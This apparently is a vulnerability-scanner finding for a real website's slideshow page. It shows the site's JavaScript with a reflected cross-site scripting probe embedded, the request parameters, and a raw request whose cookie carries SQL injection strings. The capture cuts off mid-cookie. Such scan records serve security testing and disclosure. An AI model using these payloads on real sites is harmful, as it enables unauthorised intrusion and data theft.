Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=29086 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 26941
Connection: close
Content-Type: text/html; charset=UTF-8


<HTML>
<HEAD>
<TITLE>RockYou.com - photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE>
<script type="text/javascript">
<!--
function newImage(arg) {
if (document.images) {
rslt = new Image();
rslt.src = arg;
return rslt;
}
}

function changeImages() {
if (document.images && (preloadFlag == true)) {
for (var i=0; i<changeImages.arguments.length; i+=2) {
document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
}
}
}

var preloadFlag = false;
function preloadImages() {
if (document.images) {
create_over = newImage("/images/create-over.png");
mystuff_over = newImage("/images/mystuff-over.png");
topshows_over = newImage("/images/topshows-over.png");
preloadFlag = true;
}
}

function Set_Cookie( name, value, expires)
{
var today = new Date();
today.setTime( today.getTime() );
if ( expires ) {
expires = expires * 1000 * 60 * 60 * 24;
}
var expires_date = new Date( today.getTime() + (expires) );

document.cookie = name + "=" +escape( value ) +
( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
";domain=.rockyou.com";
}


function Get_Cookie( name ) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}

function Delete_Cookie( name, path) {
if ( Get_Cookie( name ) ) document.cookie = name + "=;domain=.rockyou.com;expires=Thu, 01-Jan-1970 00:00:01 GMT";
}

function showHelp(name)
{
urchinTracker ('/help/'+name);
newwindow= window.open('/popuphelp.php?name='+name,'helppage','toolbar=no, status=no,height=500, width=300,scrollbars=1');
if (window.focus) newwindow.focus();
}

function toggle_frontpage_sound() {
var frontpage_music = document.getElementById("frontpage_music");
if (frontpage_music) frontpage_music.blur();
// Toggle text
var music_text_span = document.getElementById("music_text_span");
if (music_text_span)
music_text_span.innerHTML = (music_text_span.innerHTML == 'MUTE') ? 'LISTEN' : 'MUTE';
// Toggle speaker image
var speaker_button = document.getElementById("speaker_button");
if (speaker_button)
speaker_button.src = (speaker_button.src == "http://dev2.rockyou.com/images/bling3/speaker.png") ?
"http://dev2.rockyou.com/images/bling3/speaker-on.png" : "http://dev2.rockyou.com/images/bling3/speaker.png";
// Toggle sound
var showcase_slide_embed = document.getElementById("showcase_slide_embed");
if (showcase_slide_embed) {
if (showcase_slide_embed.innerHTML.indexOf('nosound=false') != -1) {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=false/, 'nosound=true');
Set_Cookie('frontpage_music_disabled', '1', 1);
}
else {
showcase_slide_embed.innerHTML = showcase_slide_embed.innerHTML.replace(/nosound=true/, 'nosound=false');
Set_Cookie('frontpage_music_disabled', '0', 1);
}
}
}

function toggle_frontpage_music_icon() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("showcase_slide_embed");
if (frontpage_music) {
if (frontpage_music.innerHTML.indexOf("turn-on") >= 0) {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-on/, 'turn-off')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = frontpage_music.innerHTML.replace(/turn-off/, 'turn-on')
if (slide_container) {
var front_embed = slide_container.innerHTML;
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
frontpage_music.blur();
}

function toggle_frontpage_music_text() {
var frontpage_music = document.getElementById("frontpage_music");
var slide_container = document.getElementById("slide-container");
if (frontpage_music) {
if (frontpage_music.innerHTML == "turn music on") {
frontpage_music.innerHTML = "turn music off";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=true/, 'nosound=false');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=false" ');
}
}
Set_Cookie('frontpage_music_disabled', '0', 1);

} else {
frontpage_music.innerHTML = "turn music on";
if (slide_container) {
var front_embed = slide_container.innerHTML;
if (front_embed.indexOf("nosound=") > 0) {
slide_container.innerHTML = front_embed.replace(/nosound=false/, 'nosound=true');
} else {
slide_container.innerHTML = front_embed.replace(/<embed /, '<embed FlashVars="nosound=true" ');
}
}
Set_Cookie('frontpage_music_disabled', '1', 1);
}
}
}
// -->
</script>


<script src="create-slideshow-js-combined.php?ver=2" type="text/javascript"></script><script src="/js/greybox/jquery-latest.js" type="text/javascript"></script><script src="/js/greybox/greybox.js?2" type="text/javascript"></script><script src="/js/common.js" type="text/javascript"></script><link href="http://cdn.rockyou.com/apps/mainsite/css/style.css" rel="stylesheet" type="text/css">
<link href="/css/create-slideshow-combined.css?ver=6" rel="stylesheet" type="text/css"><link href="/css/../js/greybox/greybox.css?ver=6" rel="stylesheet" type="text/css">
</HEAD>




<BODY class="background_normal"
style=""

LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0
onload="initDND();"
onunload=""
>


<!-- Comscore tracking. Comscore tracks every time a resource on rockyou is loaded with these params. -->
<img src="http://apps.rockyou.com/dot.gif?CXNID=1000017.0NXC">

<!-- TF 728x90 JScript NoAD code -->
<div style="height:5px;padding:0px;margin:0px;overflow:hidden"></div>

<script language="javascript" type="text/javascript" src="/js/flash_file_uploader.js"></script><script language="javascript" type="text/javascript" src="/js/iuembed.js"></script><script type="text/javascript">// Suppress multifile uploadervar suppressMulti = false;// variable needed for grey box modal dialog for the 'More Songs' linkvar GB_ANIMATION = true; // we have a variable in create.js that needs to know about the right translation for a text.var lang_upload_confirm_delete_slide = "Do you really want to delete this slide?";var lang_slideshow_aspect_43_only = "Only 4:3 Available";var lang_slideshow_aspect_43 = "TV (4:3)";var lang_slideshow_aspect_21 = "Wide (2:1)";var lang_slideshow_aspect_31 = "Strip (3:1)";var lang_empty_caption = "[Click to Add a Caption]";var lang_remove_all_captions = "Are you sure you want to remove all captions?";var lang_abandon_slideshow = "Abandon this slideshow and START OVER?";var evalThis;var thisinstanceid = '3';var tagListArray; var xmlreqs = true; //Disable / enable xmlrequestsvar xmlBatchReq = ""; //Batch Stringvar playingSong = 0; //Current Song that is playingvar storedSongList = ""; //List of Songs responde from AJAXvar statusAddingSong = false;var mycustomtabs = new Array("cattags","transitions","themes","skins","backgrounds", "music","privacy","size","caption","min");var openWithCreateMode = 0;var sizeLevel = 3;var pitchLearnMoreBeboBands = 1; var slideCount = 0;var beforeUnloadStatus = 0;var beforeUnloadStatusEnabled = 1;var bgColorManualSet = 0;var ghost_popup = new Ghost_Popup('ghost_popup');var ghost_popup_music = new Ghost_Popup('ghost_popup_music');var source = "br";var currentSkin = '';var currentTransition = '';var currentBackground = '';var currentTheme = '';var currentRatio = 0;var skinConfig = 1;var removePreviewSlide = 0;var slideShowCount="0";//var slideShowCount="0";embed = new appEmbed(thisinstanceid);membed = new musicEmbed(thisinstanceid);embed.setLocal(true);embed.noSound=true;embed.noShare=true;function confirmAbandon() { if (openWithCreateMode == 1 && slideCount > 0 && beforeUnloadStatus == 1) { event.returnValue = "If you continue, this slideshow will be abandoned!"; } beforeUnloadStatus = beforeUnloadStatusEnabled;}function initDND() { document.getElementById('loadingsection_container').className = 'background_normal'; // for partner sites, switch to smaller logo var partner_logo_big = document.getElementById("partner_logo_big"); var partner_logo_small = document.getElementById("partner_logo_small"); if (partner_logo_big) partner_logo_big.style.display = "none"; if (partner_logo_small) partner_logo_small.style.display = "block"; var rockyou_logo = document.getElementById("logo"); if (rockyou_logo) rockyou_logo.style.display = "block"; setupFileUploader(); printCountrySelect(document.getElementById("countryselect")); document.getElementById('loadingsection').innerHTML = ''; document.getElementById('loadingsection').style.display = 'none'; document.getElementById('ticker_area').style.display=""; document.getElementById('upload-and-customize').style.display=""; var bannerheading = document.getElementById('bannerheading'); if (bannerheading) bannerheading.style.display=""; initSections();}function initSectionsNew(){ supermaxUL(); //document.getElementById('toptab-container').style.display=""; document.getElementById('uploadsection').style.display=""; showUploadDiv(); hasInstanceIDEmbed(); simple_ajax_call('email/ajax_email_tracking.php?message=3&widget=slideshow&instanceid=0', false); openWithCreateMode = 1; document.getElementById("bebo_bubble").style.display = "block";}function initSections(){ if (openWithCreateMode == 1) { // randomize transition updateTransition("photostack2"); } document.getElementById('arrange-and-caption').style.display=""; document.getElementById('quickstyles').style.display=""; document.getElementById('div-upload').style.display=""; document.getElementById('tab-customize').style.display=""; document.getElementById('div-arrange').style.display=""; embed.isScale = false;currentSkin = ''; currentTransition = 'photostack'; currentRatio = 1; skinConfig = 1; currentTheme = ''; currentBackground = ''; setAspectRatioControls(); setBackgroundControls(); setSkinControls(); setSizeControls(); showCookieUploadTab(); showCustomizeDiv(); regUL(); var slidelist = []; slidePrint(slidelist); refreshSlideShow(); refreshMusic(0); //Tags tagListArray = ["","mokina"]; tagList(tagListArray); setPeopleMap('','','',''); //Songs songListArray = []; songList(songListArray); if (openWithCreateMode == 1) { simple_ajax_call('email/ajax_email_tracking.php?message=4&widget=slideshow&instanceid='+thisinstanceid, false); Set_Cookie('last_created_slideshow', thisinstanceid, 1); } else { if (thisinstanceid != parseInt(Get_Cookie('last_created_slideshow'))) { Set_Cookie('last_created_slideshow', 0, 1); } } // change the instruction var multi_uploader_instruction = document.getElementById("multi_uploader_instruction"); if (multi_uploader_instruction) { multi_uploader_instruction.innerHTML = '<p style="font-size:16px;font-weight:bold;margin-bottom:10px;">Next steps</p>' + '<ul style="font-size:13px;margin-left:10px;">' + '<li>Add more slides</li>' + '<li>To edit captions, scroll down</li>' + '<li>To move and delete slides, scroll down</li>' + '<li>Try the customization options to the right</li>' + '<li>Click Save when you\'re done</li>' + '</ul>' + '<p style="font-size:15px;margin-top:15px;">If you\'re having trouble uploading, <a target="_blank" href="/contact.php" style="text-decoration:underline">let us know</a>.</p>'; } if (Get_Cookie('bubble_html_file_upload_edit_hide') == null) { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_bottom'; } } else { if (document.getElementById("html_file_upload_instruction_container2")) { document.getElementById("html_file_upload_instruction_container2").className = 'html_file_uploader_hidden'; } } document.getElementById("bebo_bubble").style.display = "none"; if (Get_Cookie('bubble_save_hide') == null) { document.getElementById("bubble_save1").style.display = "block"; } else { document.getElementById("bubble_save1").style.display = "none"; } //Colors loadSV(); updateH('F1FFCC'); if (window.attachEvent) { window.attachEvent("onbeforeunload", confirmAbandon); } balance_tabs_reset(); setTimeout("balance_tabs_set();", 1000);}function hasInstanceIDEmbed(){ var loc = window.location.href; var instanceString = loc.match("#instanceid=([0-9]*)"); if (instanceString != null) { if (parseInt(instanceString[1]) > 0) window.location='slideshow-create.php?source=br&create='%22%3E%3Cnet%20sparker=netsparker(0x0025B0)%3E&instanceid=3&create=1&instanceid='+instanceString[1]; }}// Flash uploader calls this function when the user has chosen image(s) to upload and on initfunction beginFlashUpload() { var initObj = {}; initObj.instanceid = thisinstanceid; initObj.infront = (document.getElementById('uploadplace').infront.checked) ? true : false; initObj.dataHost = 'http://www.rockyou.com/addimage.php?type=file_html&userid=-1'; return initObj;}// Called on return of flash uploaderfunction flashUploadComplete(instanceid, errorcode, errormessage) { urchinTracker('/flashuploader/complete'); if (instanceid != "" && thisinstanceid == "") //On Create New Show. Get the New Instanceid and initiate UI { embed = new appEmbed(instanceid); membed = new musicEmbed(instanceid); embed.setLocal(true); embed.noSound=true; embed.noShare=true; //Reload page with slideshow var location = window.location.href; if (location.indexOf('?') != -1) location += "&instanceid="+instanceid; else location += "?instanceid="+instanceid; window.location = location; } else { if (parseInt(errorcode) > 0) { document.getElementById('ulerror').style.display=''; document.getElementById('ulerror').innerHTML=errorcode + " - " + errormessage; } else { document.getElementById('ulerror').innerHTML=""; document.getElementById('ulerror').style.display='none'; refreshList(); clearCaptions(); clearEntry(); } if (removePreviewSlide == 1) { setTimeout('xmlhttpPost("remove_preview_slide", 1);', 1000); removePreviewSlide = 0; } }}function uploadComplete(errorcode, errormessage, url, instanceid){ if (parseInt(errorcode) > 0) { ghost_popup.show("photo upload failed", 13, 10, 60, 100, 1, "frm"); } else { ghost_popup.show("photo uploaded", 13, 10, 60, 100, 1, "frm"); } var form2 = document.getElementById("form2"); if (form2) { form2.reset(); } hideUploading(); clearInterval(progressInterval); if (instanceid != "" && thisinstanceid == "") ..
- /slideshow-create.php

/slideshow-create.php

http://www.rockyou.com/slideshow-create.php?refid=3&create='%22%3E%3Cnet%20sparker=alert(0x0025BE)%3..

Parameters

Parameter Type Value
refid GET 3
create GET '"><net sparker=alert(0x0025BE)>
instanceid GET 3

Request

GET /slideshow-create.php?refid=3&create='%22%3E%3Cnet%20sparker=netsparker(0x0025BE)%3E&instanceid=3 HTTP/1.1
Referer: http://www.rockyou.com/slideshow-create.php?refid=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.rockyou.com
Cookie: PHPSESSID=9eea1s66tbmof79ujd25v61ml3; lang=en; lastlogin=1303166426; ctid=3; istack=3%7Cwww202.rockyou.com%7C%7C%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29%7Cwww202.rockyou.com%7C%7C%27%2B+%28select+convert%28int%2CCHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%28109%29%2BCHAR%28109%29%2BCHAR%2897%29%29+FROM+syscolumns%29+%2B%27%7Cwww202.rockyou.com%7C%7Cconvert%28int%2C%28CHAR%2895%29%2BCHAR%2833%29%2BCHAR%2864%29%2BCHAR%2850%29%2BCHAR%28100%29%2BCHAR%28105%29%2BCHAR%28108%29%2BCHAR%28101%29%2BCHAR%